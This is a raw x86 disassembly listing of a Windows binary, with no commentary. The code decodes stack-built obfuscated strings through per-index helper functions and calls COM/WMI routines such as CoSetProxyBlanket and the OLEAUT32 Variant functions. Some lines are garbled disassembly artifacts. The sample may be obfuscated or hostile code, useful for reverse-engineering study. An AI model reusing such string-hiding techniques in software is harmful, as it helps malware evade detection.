jae 0x432767
mov edx, dword [esp + 0x1f4]
test edx, edx
sete al
mov ecx, dword [esp + 0xd4]
sub ecx, edx
setb cl
or al, cl
test al, 1
jne 0x432731
jmp 0x432767
mov eax, dword [esp + 0xd4]
mov ax, word [eax]
cmp ax, 0
je 0x432767
movzx eax, ax
add dword [esp + 0xd4], 2
mov ecx, esi
xor ecx, 0xffffffff
add ecx, ebx
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00437ba0
add esi, eax
jmp 0x432708
mov byte [esi], 0
mov eax, edi
add eax, 6
mov dword [esp + 4], eax
mov eax, dword [esp + 0x208]
mov dword [esp], eax
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov eax, edi
add eax, 4
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x2e
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 8], 4
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x20
mov eax, edi
add eax, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov ecx, eax
inc ecx
mov byte [eax], 0x3a
mov eax, edi
add eax, 0xc
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 2
call fcn.00437c70
mov byte [eax], 0
mov dword [esp + 0x378], 0
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x378]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x214], esi
mov eax, dword [esp + 0x418]
mov ecx, dword [esp + 0x41c]
mov eax, dword [ecx + eax*4]
jmp eax
xchg ebx, eax
mov al, byte [0x848b76ce]
and al, 0x20
add dword [eax], eax
add byte [ebx + 0x8498b08], cl
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x2f0], 0
mov eax, dword [esp + 0x2f4]
mov ecx, dword [esp + 0x2f0]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x210]
jmp eax
mov eax, dword [esp + 0x430]
mov ecx, dword [esp + 0x434]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x300], 1
mov eax, dword [esp + 0x304]
mov ecx, dword [esp + 0x300]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x338]
mov ecx, dword [esp + 0x33c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x290]
mov ecx, dword [esp + 0x294]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x288]
mov ecx, dword [esp + 0x28c]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esp + 0x7f]
mov bl, al
and ebx, 1
mov dword [esp + 0x3c8], ebx
mov eax, dword [esp + 0x3cc]
mov ecx, dword [esp + 0x3c8]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0xcc], edi
mov ebx, dword [esp + 0xd0]
jmp eax
mov eax, dword [esp + 0x268]
mov ecx, dword [esp + 0x26c]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp], esi
call eax
sub esp, 4
mov eax, dword [esp + 0x298]
mov ecx, dword [esp + 0x29c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0xcc]
jmp eax
mov eax, dword [esp + 0x358]
mov ecx, dword [esp + 0x35c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esp + 0xdc]
jmp eax
movzx eax, al
and eax, 1
mov dword [esp + 0x380], eax
mov eax, dword [esp + 0x384]
mov ecx, dword [esp + 0x380]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp], edi
call fcn.0040c9a0
mov eax, dword [esp + 0x370]
mov ecx, dword [esp + 0x374]
mov eax, dword [ecx + eax*4]
jmp eax
mov dword [esp + 0xd0], ebx
mov ecx, dword [esp + 0x3e8]
mov edx, dword [esp + 0x3ec]
mov ecx, dword [edx + ecx*4]
jmp ecx
lea eax, [esp + 0x1c0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x1e0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0x24]
mov al, byte [esp + 0x28]
mov byte [esp + 0x1b8], al
mov byte [esp + 0x2c], 1
mov byte [esp + 0x2d], 0xc9
mov byte [esp + 0x2e], 0x64
mov byte [esp + 0x2f], 0xd7
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0xd5
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0xd3
mov byte [esp + 0x34], 0x71
mov byte [esp + 0x35], 0xd1
mov byte [esp + 0x36], 0x6a
mov byte [esp + 0x37], 0xdf
mov byte [esp + 0x38], 0x68
mov byte [esp + 0x39], 0xdd
mov byte [esp + 0x3a], 0x16
mov byte [esp + 0x3b], 0xdb
mov byte [esp + 0x3c], 0x79
mov byte [esp + 0x3d], 0xd9
mov byte [esp + 0x3e], 0x1a
mov byte [esp + 0x3f], 0xa7
mov byte [esp + 0x40], 9
mov byte [esp + 0x41], 0xa5
mov byte [esp + 0x42], 0xa2
mov byte [esp + 0x43], 0xa3
mov eax, 0x18
mov byte [esp + eax + 0x2c], 0
add eax, 1
cmp eax, 0x1c
jne 0x432aa6
mov dword [esp + 0xc4], 0
mov eax, dword [esp + 0xc4]
cmp eax, 0x1c
jae 0x432b05
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc4]
movzx ecx, byte [esp + ecx + 0x2c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437ea0
mov ecx, dword [esp + 0xc4]
mov byte [esp + ecx + 0x2c], al
mov eax, dword [esp + 0xc4]
inc eax
mov dword [esp + 0xc4], eax
jmp 0x432abe
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1e0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x1e0]
sub cx, 8
sete cl
and al, cl
mov dword [esp + 0x328], 1
mov ecx, dword [esp + 0x32c]
mov edx, dword [esp + 0x328]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e4a0
mov dword [esp + 0x348], 0
mov eax, dword [esp + 0x34c]
mov ecx, dword [esp + 0x348]
mov eax, dword [eax + ecx*4]
mov esi, dword [esp + 0x20c]
jmp eax
mov dword [esp + 0x210], esi
lea eax, [esp + 0x1d0]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0x24]
mov al, byte [esp + 0x108]
mov byte [esp + 0x19c], al
mov byte [esp + 0x10c], 0xd3
mov byte [esp + 0x10d], 0x91
mov byte [esp + 0x10e], 0xf3
mov byte [esp + 0x10f], 0x93
mov byte [esp + 0x110], 0xdc
mov byte [esp + 0x111], 0xad
mov byte [esp + 0x112], 0x22
mov byte [esp + 0x113], 0xaf
mov byte [esp + 0x114], 0xd1
mov byte [esp + 0x115], 0xa9
mov byte [esp + 0x116], 0xdd
mov byte [esp + 0x117], 0xab
mov byte [esp + 0x118], 0xd2
mov byte [esp + 0x119], 0xa5
mov byte [esp + 0x11a], 0xa6
mov byte [esp + 0x11b], 0xa7
mov eax, 0x10
mov byte [esp + eax + 0x10c], 0
add eax, 1
cmp eax, 0x13
jne 0x432c4c
mov dword [esp + 0xac], 0
mov eax, dword [esp + 0xac]
cmp eax, 0x13
jae 0x432cb4
mov eax, dword [esp + 0xac]
mov ecx, dword [esp + 0xac]
movzx ecx, byte [esp + ecx + 0x10c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437db0
mov ecx, dword [esp + 0xac]
mov byte [esp + ecx + 0x10c], al
mov eax, dword [esp + 0xac]
inc eax
mov dword [esp + 0xac], eax
jmp 0x432c67
mov eax, dword [esi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x1d0]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x10c]
mov dword [esp + 4], ecx
mov dword [esp], esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x1d0]
sub cx, 8
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x3b0], eax
mov eax, dword [esp + 0x3b4]
mov ecx, dword [esp + 0x3b0]
mov eax, dword [eax + ecx*4]
mov dword [esp + 0xdc], edi
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x228], 0
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x228]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x2d8], 0
mov eax, dword [esp + 0x2dc]
mov ecx, dword [esp + 0x2d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x290], 0
mov eax, dword [esp + 0x294]
mov ecx, dword [esp + 0x290]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp], edi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
sub esp, 4
mov dword [esp], ebx
call esi
sub esp, 4
mov dword [esp + 0x1f0], 0
mov eax, dword [esp + 0x1f4]
mov ecx, dword [esp + 0x1f0]
mov eax, dword [eax + ecx*4]
jmp eax
inc esi
xchg byte [edi - 0x14], dh
inc esi
sti
pop edi
ret
mov dword [esp + 0x148], edi
mov dword [esp], 0xc
call fcn.0040c990
mov dword [eax], 0
mov ebx, eax
add ebx, 4
mov byte [eax + 4], 0
mov ecx, eax
add ecx, 8
mov dword [esp + 0x154], ecx
mov dword [esp + 0x158], eax
mov dword [eax + 8], 0
lea eax, [esp + 0x318]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov edi, dword [esp + 0xa8]
mov al, byte [esp + 0xfc]
mov byte [esp + 0x11c], al
mov byte [esp + 0x124], 0xb4
mov byte [esp + 0x125], 0x2b
mov byte [esp + 0x126], 0xbc
mov byte [esp + 0x127], 0x29
mov byte [esp + 0x128], 0xb9
mov byte [esp + 0x129], 0x2f
mov byte [esp + 0x12a], 0xca
mov byte [esp + 0x12b], 0x2d
mov byte [esp + 0x12c], 0xb7
mov byte [esp + 0x12d], 0xd3
mov byte [esp + 0x12e], 0x37
mov byte [esp + 0x12f], 0xd1
mov byte [esp + 0x130], 0x44
mov byte [esp + 0x131], 0xd7
mov byte [esp + 0x132], 0x23
mov byte [esp + 0x133], 0xd5
mov byte [esp + 0x134], 0x40
mov byte [esp + 0x135], 0xdb
mov byte [esp + 0x136], 0x3d
mov byte [esp + 0x137], 0xd9
mov byte [esp + 0x138], 0x4c
mov byte [esp + 0x139], 0xdf
mov byte [esp + 0x13a], 0x35
mov byte [esp + 0x13b], 0xdd
mov byte [esp + 0x13c], 0xdc
mov byte [esp + 0x13d], 0xc3
mov eax, 0x1a
mov byte [esp + eax + 0x124], 0
add eax, 1
cmp eax, 0x1e
jne 0x43351f
mov dword [esp + 0x94], 0
mov eax, dword [esp + 0x94]
cmp eax, 0x1e
jae 0x433587
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x94]
movzx ecx, byte [esp + ecx + 0x124]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437f80
mov ecx, dword [esp + 0x94]
mov byte [esp + ecx + 0x124], al
mov eax, dword [esp + 0x94]
inc eax
mov dword [esp + 0x94], eax
jmp 0x43353a
mov eax, dword [edi]
mov eax, dword [eax + 0x10]
lea ecx, [esp + 0x318]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 0x124]
mov dword [esp + 4], ecx
mov dword [esp], edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call eax
sub esp, 0x18
test eax, eax
setns al
mov cx, word [esp + 0x318]
sub cx, 3
sete cl
and al, cl
movzx eax, al
mov dword [esp + 0x298], eax
mov eax, dword [esp + 0x29c]
mov ecx, dword [esp + 0x298]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0x9c]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x1d8], 1
mov eax, dword [esp + 0x1dc]
mov ecx, dword [esp + 0x1d8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x1f8], 0
mov eax, dword [esp + 0x1fc]
mov ecx, dword [esp + 0x1f8]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x15c]
jmp eax
mov al, byte [esp + 0x2c]
mov byte [esp + 0x110], al
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x99
mov byte [esp + 0x32], 0x4f
mov byte [esp + 0x33], 0x9f
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x9d
mov byte [esp + 0x36], 0xa2
mov byte [esp + 0x37], 0xa3
mov eax, 8
mov byte [esp + eax + 0x30], 0
add eax, 1
cmp eax, 0xb
jne 0x43368e
mov dword [esp + 0x84], 0
mov eax, dword [esp + 0x84]
cmp eax, 0xb
jae 0x4336ed
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0x84]
movzx ecx, byte [esp + ecx + 0x30]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437f10
mov ecx, dword [esp + 0x84]
mov byte [esp + ecx + 0x30], al
mov eax, dword [esp + 0x84]
inc eax
mov dword [esp + 0x84], eax
jmp 0x4336a6
lea eax, [esp + 0x30]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov edi, eax
mov al, byte [esp + 0x28]
mov byte [esp + 0x118], al
mov byte [esp + 0x3c], 0xb9
mov byte [esp + 0x3d], 0xc7
mov byte [esp + 0x3e], 0x89
mov byte [esp + 0x3f], 0xc1
mov byte [esp + 0x40], 0xb4
mov byte [esp + 0x41], 0xc3
mov byte [esp + 0x42], 0x8d
mov byte [esp + 0x43], 0xcd
mov byte [esp + 0x44], 0x81
mov byte [esp + 0x45], 0xcf
mov byte [esp + 0x46], 0xb2
mov byte [esp + 0x47], 0xc9
mov byte [esp + 0x48], 0xe8
mov byte [esp + 0x49], 0xcb
mov byte [esp + 0x4a], 0xe0
mov byte [esp + 0x4b], 0xf5
mov byte [esp + 0x4c], 0xd4
mov byte [esp + 0x4d], 0xf7
mov byte [esp + 0x4e], 0xb8
mov byte [esp + 0x4f], 0xf1
mov byte [esp + 0x50], 0x82
mov byte [esp + 0x51], 0xf3
mov byte [esp + 0x52], 0x83
mov byte [esp + 0x53], 0xfd
mov byte [esp + 0x54], 0x8b
mov byte [esp + 0x55], 0xff
mov byte [esp + 0x56], 0xde
mov byte [esp + 0x57], 0xf9
mov byte [esp + 0x58], 0xbb
mov byte [esp + 0x59], 0xfb
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0xe5
mov byte [esp + 0x5c], pe_nt_image_headers32
mov byte [esp + 0x5d], 0xe7
mov byte [esp + 0x5e], 0x8d
mov byte [esp + 0x5f], 0xe1
mov byte [esp + 0x60], 0x9e
mov byte [esp + 0x61], 0xe3
mov byte [esp + 0x62], 0x89
mov byte [esp + 0x63], 0xed
mov byte [esp + 0x64], 0x7e
mov byte [esp + 0x65], 0xef
mov byte [esp + 0x66], 0x71
mov byte [esp + 0x67], 0xe9
mov byte [esp + 0x68], 0x75
mov byte [esp + 0x69], 0xeb
mov byte [esp + 0x6a], 0x9a
mov byte [esp + 0x6b], 0x15
mov byte [esp + 0x6c], 0x86
mov byte [esp + 0x6d], 0x17
mov byte [esp + 0x6e], 0x87
mov byte [esp + 0x6f], 0x11
mov byte [esp + 0x70], 0x7c
mov byte [esp + 0x71], 0x13
mov byte [esp + 0x72], 0x8d
mov byte [esp + 0x73], 0x1d
mov byte [esp + 0x74], 0x71
mov byte [esp + 0x75], 0x1f
mov byte [esp + 0x76], 0x82
mov byte [esp + 0x77], 0x19
mov byte [esp + 0x78], 0x18
mov byte [esp + 0x79], 0x1b
mov eax, 0x3e
mov byte [esp + eax + 0x3c], 0
add eax, 1
cmp eax, 0x43
jne 0x433845
mov dword [esp + 0x8c], 0
mov eax, dword [esp + 0x8c]
cmp eax, 0x43
jae 0x4338a4
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x8c]
movzx ecx, byte [esp + ecx + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437f60
mov ecx, dword [esp + 0x8c]
mov byte [esp + ecx + 0x3c], al
mov eax, dword [esp + 0x8c]
inc eax
mov dword [esp + 0x8c], eax
jmp 0x43385d
lea eax, [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov esi, dword [esp + 0x9c]
mov ecx, dword [esi]
mov ecx, dword [ecx + 0x50]
lea edx, [esp + 0x100]
mov dword [esp + 0x14], edx
mov dword [esp + 0x15c], eax
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
sub esp, 0x18
xor ecx, ecx
test eax, eax
setns al
mov dword [esp + 0x2d0], 1
mov edx, dword [esp + 0x2d4]
mov esi, dword [esp + 0x2d0]
mov edx, dword [edx + esi*4]
jmp edx
call fcn.0040e4a0
mov dword [esp + 0x258], 1
mov eax, dword [esp + 0x25c]
mov ecx, dword [esp + 0x258]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1d4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x250]
mov ecx, dword [esp + 0x254]
mov eax, dword [ecx + eax*4]
mov edx, dword [esp + 0x158]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x260], 0
mov eax, dword [esp + 0x264]
mov ecx, dword [esp + 0x260]
mov eax, dword [eax + ecx*4]
jmp eax
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x208]
mov ecx, dword [esp + 0x20c]
mov eax, dword [ecx + eax*4]
jmp eax
lea esi, [esp + 0x318]
add esi, 8
lea edi, [esp + 0xa0]
mov ecx, 1
mov eax, esi
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add esi, 4
lea eax, [esp + 0xa0]
add eax, 4
mov edi, eax
xor ecx, ecx
mov edx, esi
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
xor ecx, ecx
cmp ecx, 0
je 0x433a01
add ecx, 0xffffffff
mov edx, esi
add edx, 1
mov edi, ebx
mov bl, byte [esi]
mov esi, eax
add esi, 1
mov byte [eax], bl
mov ebx, edi
mov eax, esi
mov esi, edx
jmp 0x4339e1
mov al, byte [esp + 0xa1]
mov byte [ebx], al
mov dword [esp + 0x288], 1
mov eax, dword [esp + 0x28c]
mov ecx, dword [esp + 0x288]
mov eax, dword [eax + ecx*4]
jmp eax
sal byte [eax*4 + 0x24848b7d], 1
pushfd
add byte [eax], al
add byte [ebx + 0x8498b08], cl
mov dword [esp], eax
call ecx
sub esp, 4
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0x174]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x220]
mov ecx, dword [esp + 0x224]
mov eax, dword [ecx + eax*4]
jmp eax
xor dl, byte [ebp + ecx*4 - 0x1b]
adc al, byte [0x448a1053]
and al, 0x2c
mov byte [esp + 0x10c], al
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x99
mov byte [esp + 0x32], 0x4f
mov byte [esp + 0x33], 0x9f
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x9d
mov byte [esp + 0x36], 0xa2
mov byte [esp + 0x37], 0xa3
mov eax, 8
mov byte [esp + eax + 0x30], 0
add eax, 1
cmp eax, 0xb
jne 0x433aa6
mov dword [esp + 0x88], 0
mov eax, dword [esp + 0x88]
cmp eax, 0xb
jae 0x433b05
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x88]
movzx ecx, byte [esp + ecx + 0x30]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437f10
mov ecx, dword [esp + 0x88]
mov byte [esp + ecx + 0x30], al
mov eax, dword [esp + 0x88]
inc eax
mov dword [esp + 0x88], eax
jmp 0x433abe
lea eax, [esp + 0x30]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
sub esp, 4
mov edi, eax
mov al, byte [esp + 0x28]
mov byte [esp + 0x114], al
mov byte [esp + 0x3c], 0xb9
mov byte [esp + 0x3d], 0xc7
mov byte [esp + 0x3e], 0x89
mov byte [esp + 0x3f], 0xc1
mov byte [esp + 0x40], 0xb4
mov byte [esp + 0x41], 0xc3
mov byte [esp + 0x42], 0x8d
mov byte [esp + 0x43], 0xcd
mov byte [esp + 0x44], 0x81
mov byte [esp + 0x45], 0xcf
mov byte [esp + 0x46], 0xb2
mov byte [esp + 0x47], 0xc9
mov byte [esp + 0x48], 0xe8
mov byte [esp + 0x49], 0xcb
mov byte [esp + 0x4a], 0xe0
mov byte [esp + 0x4b], 0xf5
mov byte [esp + 0x4c], 0xd4
mov byte [esp + 0x4d], 0xf7
mov byte [esp + 0x4e], 0xb8
mov byte [esp + 0x4f], 0xf1
mov byte [esp + 0x50], 0x82
mov byte [esp + 0x51], 0xf3
mov byte [esp + 0x52], 0x83
mov byte [esp + 0x53], 0xfd
mov byte [esp + 0x54], 0x8b
mov byte [esp + 0x55], 0xff
mov byte [esp + 0x56], 0xde
mov byte [esp + 0x57], 0xf9
mov byte [esp + 0x58], 0xbb
mov byte [esp + 0x59], 0xfb
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0xe5
mov byte [esp + 0x5c], pe_nt_image_headers32
mov byte [esp + 0x5d], 0xe7
mov byte [esp + 0x5e], 0x8d
mov byte [esp + 0x5f], 0xe1
mov byte [esp + 0x60], 0x9e
mov byte [esp + 0x61], 0xe3
mov byte [esp + 0x62], 0x89
mov byte [esp + 0x63], 0xed
mov byte [esp + 0x64], 0x7e
mov byte [esp + 0x65], 0xef
mov byte [esp + 0x66], 0x71
mov byte [esp + 0x67], 0xe9
mov byte [esp + 0x68], 0x75
mov byte [esp + 0x69], 0xeb
mov byte [esp + 0x6a], 0x9a
mov byte [esp + 0x6b], 0x15
mov byte [esp + 0x6c], 0x86
mov byte [esp + 0x6d], 0x17
mov byte [esp + 0x6e], 0x87
mov byte [esp + 0x6f], 0x11
mov byte [esp + 0x70], 0x7c
mov byte [esp + 0x71], 0x13
mov byte [esp + 0x72], 0x8d
mov byte [esp + 0x73], 0x1d
mov byte [esp + 0x74], 0x71
mov byte [esp + 0x75], 0x1f
mov byte [esp + 0x76], 0x82
mov byte [esp + 0x77], 0x19
mov byte [esp + 0x78], 0x18
mov byte [esp + 0x79], 0x1b
mov eax, 0x3e
mov byte [esp + eax + 0x3c], 0
add eax, 1
cmp eax, 0x43
jne 0x433c5d
mov dword [esp + 0x90], 0
mov eax, dword [esp + 0x90]
cmp eax, 0x43
jae 0x433cbc
mov eax, dword [esp + 0x90]
mov ecx, dword [esp + 0x90]
movzx ecx, byte [esp + ecx + 0x3c]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00437f60
mov ecx, dword [esp + 0x90]
mov byte [esp + ecx + 0x3c], al
mov eax, dword [esp + 0x90]
inc eax
mov dword [esp + 0x90], eax
jmp 0x433c75
lea eax, [esp + 0x3c]
mov dword [esp], eax
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
sub esp, 4
mov ecx, dword [esp + 0x9c]
mov edx, dword [ecx]
mov edx, dword [edx + 0x50]
lea esi, [esp + 0x100]
mov dword [esp + 0x14], esi
mov dword [esp + 8], eax
mov dword [esp + 4], edi
mov dword [esp], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call edx
sub esp, 0x18
mov eax, dword [esp + 0x1a0]
mov ecx, dword [esp + 0x1a4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x100]
mov ecx, dword [eax]
mov edx, dword [esp + 0x210]
mov esi, dword [esp + 0x214]
mov edx, dword [esi + edx*4]
jmp edx
xor eax, eax
test esi, esi
sete al
mov dword [esp + 0x2a0], eax
mov eax, dword [esp + 0x2a4]
mov ecx, dword [esp + 0x2a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0x14c], 0
mov eax, dword [esp + 0x100]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x10]
lea edx, [esp + 0x14c]
mov dword [esp + 0x10], edx
lea edx, [esp + 0xa8]
mov dword [esp + 0xc], edx
mov dword [esp], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0xffffffff
call ecx
sub esp, 0x14
test eax, eax
sets cl
sub eax, 1
sete al
mov edx, dword [esp + 0x14c]
test edx, edx
sete dl
or al, dl
or al, cl
movzx eax, al
mov dword [esp + 0x2b8], eax
mov eax, dword [esp + 0x2bc]
mov ecx, dword [esp + 0x2b8]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x9c]
mov dword [esp], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xa
mov eax, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
call eax
sub esp, 0x20
mov ecx, dword [esp + 0x2f0]
mov edx, dword [esp + 0x2f4]
mov ecx, dword [edx + ecx*4]
jmp ecx
mov eax, dword [esp + 0x2b0]
mov ecx, dword [esp + 0x2b4]
mov eax, dword [ecx + eax*4]
mov esi, 3
jmp eax
xchg dword [ebx - 0x6b72b9d2], esp
and al, 0x18
add eax, dword [eax]
add byte [ebx - 0x4372f73e], al
and al, 0xa0
add byte [eax], al
add byte [ecx + 1], bh
mov eax, edx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
add edx, 4
lea eax, [esp + 0xa0]
add eax, 4
mov edi, eax
xor ecx, ecx
mov esi, edx
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
xor ecx, ecx
cmp ecx, 0
je 0x433eaa
add ecx, 0xffffffff
mov esi, edx
add esi, 1
mov dl, byte [edx]
mov edi, eax
add edi, 1
mov byte [eax], dl
mov eax, edi
mov edx, esi
jmp 0x433e8e
mov al, byte [esp + 0xa1]
mov byte [ebx], al
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x19c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov dword [esp + 0x1e0], 1
mov eax, dword [esp + 0x1e4]
mov ecx, dword [esp + 0x1e0]
mov eax, dword [eax + ecx*4]
jmp eax
out 0x58, eax
pop edx
adc cl, byte [ebx + 0x1902484]
add byte [eax], al
mov ecx, dword [esp + 0x194]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e4a0
mov eax, dword [esp + 0xa8]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [esp + 0x240], 0
mov eax, dword [esp + 0x244]
mov ecx, dword [esp + 0x240]
mov eax, dword [eax + ecx*4]
jmp eax
lea eax, [esp + 0x318]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
sub esp, 4
lea eax, [esp + 0x308]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
sub esp, 4
mov esi, dword [esp + 0xa8]
mov al, byte [esp + 0xdc]
mov byte [esp + 0x120], al
mov byte [esp + 0xe0], 0xa4
mov byte [esp + 0xe1], 9
mov byte [esp + 0xe2], 0xdf
mov byte [esp + 0xe3], 0x77
mov byte [esp + 0xe4], 0xeb
mov byte [esp + 0xe5], 0x75
mov byte [esp + 0xe6], 0xe2
mov byte [esp + 0xe7], 0x73
mov byte [esp + 0xe8], 0xe4
mov byte [esp + 0xe9], 0x71
mov byte [esp + 0xea], 0xdf
mov byte [esp + 0xeb], 0x7f
mov byte [esp + 0xec], 0xe5
mov byte [esp + 0xed], 0x7d
mov byte [esp + 0xee], 0xc8
mov byte [esp + 0xef], 0x7b
mov byte [esp + 0xf0], 0xd9
mov byte [esp + 0xf1], 0x79
mov byte [esp + 0xf2], 0xf3
mov byte [esp + 0xf3], 0x67
mov byte [esp + 0xf4], 0xc9
mov byte [esp + 0xf5], 0x65
mov byte [esp + 0xf6], 0x62
mov byte [esp + 0xf7], 0x63
mov eax, 0x18
mov edi, dword [esp + 0x148]
mov byte [esp + eax + 0xe0], 0
add eax, 1
cmp eax, 0x1b
jne 0x43403e
mov dword [esp + 0x98], 0
mov eax, dword [esp + 0x98]
cmp eax, 0x1b
jae 0x4340a6
mov eax, dword [esp + 0x98]
